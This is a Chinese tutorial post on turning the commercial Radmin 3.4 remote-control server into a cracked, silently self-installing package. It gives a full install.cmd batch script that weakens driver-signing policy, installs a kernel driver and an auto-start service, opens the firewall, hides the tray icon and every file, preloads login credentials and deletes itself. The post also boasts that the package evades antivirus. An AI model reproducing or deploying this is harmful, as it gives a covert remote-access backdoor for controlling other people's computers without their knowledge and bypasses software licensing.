自己制作免安装版的Radmin3.4(无期限、可隐藏图标、可自动加密码帐号)
需要资源:
1、官方下载Radmin3.4原版。
2、下载PJ文件。移步到百度搜索Newtrialstop 2.3
经测试,已经PJ期限限制,目前不会被查杀(NOD32 v2.7 039、NOD32 v4.0.441.0、360卫士),其它杀软未测试。
安装原版,建议在VM中安装,安装后
设置下用户帐户跟密码等东西(这就是自动添加账号密码的)。
然后运行REGEDIT,将如下
[HKEY_LOCAL_MACHINE\SYSTEM\RAdmin]注册表导出为:radmin.reg
拷贝如下文件:
ChatLPCx.dll
FamItrf2.Exe
FamItrfc.Exe
irrorv3.cat
raddrvv3.sys
raudiox.dll
rchatx.dll
RCursor.dll
rminiv3.sys
rsaudiox.dll
rschatx.dll
rserver3.exe
rsetup.exe
rsl.exe
R_sui.dll
vcintcx.dll
vcintsx.dll
voicex.dll
WinLpcDl.dll
WinLpcDl2.dll
mirrorv3.dll
radmin.reg 刚刚导出的注册文件。
mirrorv3.inf(将此文件内的%Mirror% = mirrorv3, radmin_mirror_v3这行内容修改为%Mirror% = mirrorv3, ROOT\DISPLAY\0001)
wsock32.dll(此文件由PJ包中的newtstop.dll改名而来)
install.cmd(此文件由自己编写)
devcon.exe(此文件是微软的小工具,需要自行下载,并拷贝它至\windows\system32\,下载地
址:http://download.microsoft.com/download/1/1/f/11f7dd10-272d-4cd2-896f-
9ce67f3e0240/devcon.exe)(这里我用7Z工具先压缩成7Z文件,然后用EASY 7Z
V2.1的自由天空论坛的7Z自动解压缩包制作工具做成DEVCON.EXE的自解压文件,全静默运行)
将这些文件压缩打包,以后在其它电脑上解压后运行install.cmd即可,不需要再安装了,非常方便。
建议解压至%SystemRoot%\system32\rserver30\(这里还是用EASY 7Z
V2.1的7Z自动解压缩包制作工具做成RADMIN3.4.EXE的自解压文件,全静默运行,只是在自动运行里加入DEVCON.EXE那个自动解压的
压缩包和INSTALL.CMD,记得打上静默运行CMDBAT文件的勾。)
此文仅适用于32位XP系统,64位的也相差不远,自行变通一下制作吧。呵呵
install.cmd的内容如下:
@echo off
echo [version] >%temp%\tp.inf
echo signature="$CHICAGO$" >>%temp%\tp.inf
echo [Registry Values] >>%temp%\tp.inf
echo MACHINE\SOFTWARE\Microsoft\Driver Signing\Policy=3,00 >>%temp%\tp.inf
secedit /configure /db %temp%\tp.sdb /cfg %temp%\tp.inf /log %temp%\tp.log > nul
del %temp%\tp.* > nul
reg query HKLM\SYSTEM\CurrentControlSet\Enum\Root\DISPLAY\0001 /v DeviceDesc 2>nul|find "Radmin"
if %ERRORLEVEL%==1 goto indev
if %ERRORLEVEL%==0 goto updev
:indev
devcon.exe install %~dp0mirrorv3.inf ROOT\DISPLAY\0001
goto end
:updev
devcon.exe update %~dp0mirrorv3.inf ROOT\DISPLAY\0001
goto end
:end
sc create Rserver3 binpath= "%~dp0rserver3.exe /service" type= own type= interact start= auto DisplayName= "Radmin v3.4"
sc description Rserver3 "Radmin v3.4"
sc create raddrvv3 binpath= "%~dp0raddrvv3.sys" type= kernel start= system group= Base displayname= raddrvv3
netsh firewall add allowedprogram "%~dp0rserver3.exe" "Radmin v3.4" ENABLE
net start Rserver3
net start raddrvv3
rem 注册PJ
rundll32 "%SystemRoot%\system32\rserver30\wsock32.dll",ntskd
regedit /s radmin.reg
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Radmin\v3.0\Server" /v "HideTrayIcon" /t REG_DWORD /d "0x00000001" /f
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Radmin\v3.0\Server" /v "LicenseText" /t REG_SZ /d "此版本已经注册了" /f
rem 隐藏以下文件
@attrib +s +h ChatLPCx.dll
@attrib +s +h FamItrf2.Exe
@attrib +s +h FamItrfc.Exe
@attrib +s +h irrorv3.cat
@attrib +s +h raddrvv3.sys
@attrib +s +h raudiox.dll
@attrib +s +h rchatx.dll
@attrib +s +h RCursor.dll
@attrib +s +h rminiv3.sys
@attrib +s +h rsaudiox.dll
@attrib +s +h rschatx.dll
@attrib +s +h rserver3.exe
@attrib +s +h rsetup.exe
@attrib +s +h rsl.exe
@attrib +s +h R_sui.dll
@attrib +s +h vcintcx.dll
@attrib +s +h vcintsx.dll
@attrib +s +h voicex.dll
@attrib +s +h WinLpcDl.dll
@attrib +s +h WinLpcDl2.dll
@attrib +s +h mirrorv3.dll
@attrib +s +h mirrorv3.inf
@attrib +s +h wsock32.dll
@attrib +s +h mirrorv3.cat
@attrib +s +h 2052.lng_rad
rem 删除注册文件
del devcon.exe
del radmin.reg
rem 重启Radmin
net stop Rserver3
rem 运行设置
rem %SystemRoot%\system32\rserver30\rserver3.exe /setup
net start Rserver3
del %0
最后,有时会发现账号密码没有导入成功,那么我们再单独运行radmin.reg就OK了
发表评论